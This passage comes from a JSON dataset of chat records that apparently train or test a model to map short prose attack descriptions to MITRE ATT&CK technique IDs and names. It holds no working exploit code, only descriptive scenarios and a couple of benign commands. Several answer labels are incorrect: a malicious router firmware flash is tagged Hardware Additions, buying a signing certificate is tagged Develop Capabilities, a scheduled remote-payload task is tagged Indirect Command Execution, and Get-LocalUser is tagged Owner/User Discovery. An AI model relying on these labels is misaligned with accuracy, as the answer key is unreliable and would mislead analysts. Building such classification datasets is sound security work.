                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script embedded in a malicious email triggers a series of MFA push requests to the user's authentication app, leveraging push fatigue."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee opens a malicious PDF attachment received via email, executing a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor retrieves a custom information‑stealing malware from a compromised CDN to infiltrate target networks."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit a misconfigured firewall that forwards all inbound traffic to a DMZ host, effectively creating a NAT traversal path to reach deeper internal systems."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a malicious Nginx reverse proxy on a compromised web server to relay traffic and hide the real IP address of the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module enumerates Wi‑Fi hotspots in the vicinity, extracting details such as network name and signal level."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script injection on a popular e‑commerce site causes browsers to download and execute a malicious PowerShell script without user consent."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script initiates spoofed multi-factor authentication requests to a user's authenticator app to capture the approval."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a malicious DLL into the Remote Desktop Services (TermService) process, allowing code execution with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker placed a malicious script named 'mshta.exe' in the user’s AppData folder to execute under the guise of a known Windows utility."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the Chrome extensions API to programmatically read stored password entries from the browser's storage."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group delivers a phishing message with a malicious attachment that, when opened, prompts the victim to disclose confidential data for a prize."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group obtains root access on a rented virtual private server through a weak sudo password."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group distributes a fake PDF reader installer; when the user runs the installer, it installs a backdoor on the system."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a DNS hosting provider to manipulate DNS records for targeted victims."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups use DNS queries that carry base64‑encoded, RSA‑encrypted payloads to leak confidential documents without establishing a traditional C2 link."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker steals the KRBTGT account credentials and uses Mimikatz to generate a golden ticket, allowing unrestricted access across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious firmware update is flashed onto the network router, enabling the threat actor to maintain long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool performs a scan of \\\\*\\\\* for accessible shared directories to locate valuable files."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant drops a Python script that searches for network shares and spreads laterally."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases a valid driver signing certificate to sign malicious kernel drivers."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create numerous fake log entries and dummy files on compromised hosts to blend malicious activity with junk data."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Office Template Macros, the attacker achieves persistence by configuring the template to run a script each time Office starts."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage traffic duplication by creating a parallel channel that sends copies of legitimate traffic to a remote server for extraction."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a legitimate website and inject malicious JavaScript that automatically downloads and executes a backdoor on any visitor’s browser without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor employs the network device CLI over a remote management protocol to enumerate user accounts."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network intrusion software camouflages its data exfiltration within legitimate Kafka message streams."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using OpenThread and SuspendThread, the adversary suspends a victim thread, overwrites its stack with malicious code, and resumes it for execution."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the attacker edited the transport configuration to load a back‑doored agent that logs all outbound messages."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a new Outlook account with a fake identity to use for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drive-by compromises through watering hole attacks on websites frequented by targets"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware communicates with its controller by embedding payloads in custom UDP packets on a non-standard port."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform password spraying against corporate Office 365 accounts to gain unauthorized email access."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits an outdated OpenSSH version on a VPS to gain remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a malicious Microsoft Word document via email that exploits a CVE in the Office suite to execute PowerShell commands when opened."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script leverages the ptrace API to hijack a privileged daemon, injecting a custom library via PTRACE_DETACH after modifying the process's memory mappings."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor alters the system's authentication flow, substituting a reversible encryption function for the usual hashing, facilitating extraction of plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies Gatekeeper's trust settings to allow a malicious application to run without signature verification."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain includes a VBScript that runs obfuscated JavaScript via the Windows Scripting Host to bypass defenses."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan downloads a .so library, performs in‑memory relocation and symbol resolution, then runs it using reflective loading to bypass OS defenses."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the BIOS firmware version using SMBIOS calls to identify outdated components that can be exploited."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through compromised Azure AD Connect credentials, the adversary synchronizes malicious user objects that can authenticate to critical on‑premises systems."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves scanning for open Docker APIs on the host and then issuing API calls to list and read secret mounts attached to containers."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a web shell to inject a defacement script into the website's root directory, resulting in a full-page takeover."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the Windows command prompt to run \"cipher /w:C:\" to securely wipe free space on a drive."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary sets up a proxy chain inside the network, using an internal proxy to pivot and access restricted resources."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract password hashes from the Security Account Manager (SAM) and use them to authenticate to remote systems via pass-the-hash."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs custom scripts to enumerate commit histories on public repos to discover credentials that were accidentally committed."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder leverages the OpenStack metadata service to extract API keys and service credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a misconfigured Azure Function to run arbitrary commands and extract credentials from the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets the \"RequireSignedAppInit_DLLs\" flag to 0 and places an unsigned malicious DLL in the AppInit_DLLs registry entry for automatic execution."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages mshta.exe to run a malicious HTA payload downloaded from a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a scheduled task set to execute a PowerShell command that retrieves and runs further malicious code from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker creates a clandestine network in a neglected cloud region to siphon sensitive information while avoiding detection."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer registers a hidden service account by editing the local security policy to hide the account from the 'net user' command output and assigning it minimal privileges."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the CLSID of a legitimate COM component with a malicious one so that code runs when the component is instantiated."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors leased a DNS server to conduct large‑scale domain generation algorithms for their malware."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gained access to the source code repository of a widely used library and added hidden commands."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group altered an existing stored procedure to include a call to a remote PowerShell script, establishing a persistent foothold."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves placing a malicious DLL in a directory with spaces and relying on an unquoted command line in a scheduled task to load it before the legitimate DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages Instagram hashtags to find images that reveal physical office layouts and security badge numbers."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a stolen Google Cloud service account key and use it to create new compute instances."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs reflective DLL injection to execute its payload directly from memory, bypassing the OS loader."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized the cloud provider's revert functionality to reset a compromised instance, removing implanted malware."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes proprietary protocol frames over raw Ethernet to communicate with its C2 server, bypassing application‑layer inspection."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign deploys a script that dynamically adjusts socket filter parameters to prioritize malicious C2 traffic over normal user traffic."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses the victim’s webcam and streams live video to the attacker’s command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script queries the company's internal API endpoint that returns employee name details."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the payload uses reflective code loading to execute a second‑stage payload without touching the filesystem, thereby evading detection."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen SAML assertion, the actor accesses the target's Exchange Online mailbox and downloads attachments to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses a compromised credential to add a new domain user via the dsadd command."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor employs a botnet to perform credential stuffing attacks on the social media platform, bypassing CAPTCHA with third‑party solving services."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a Golden Ticket by extracting the Kerberos TGT signing key and crafting tickets that allow unrestricted authentication across the Active Directory forest."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts a valid Kerberos Ticket Granting Ticket from memory and reuses it to access other services."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant issues the PowerShell command 'Get-LocalUser' to list local accounts on the victim PC."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
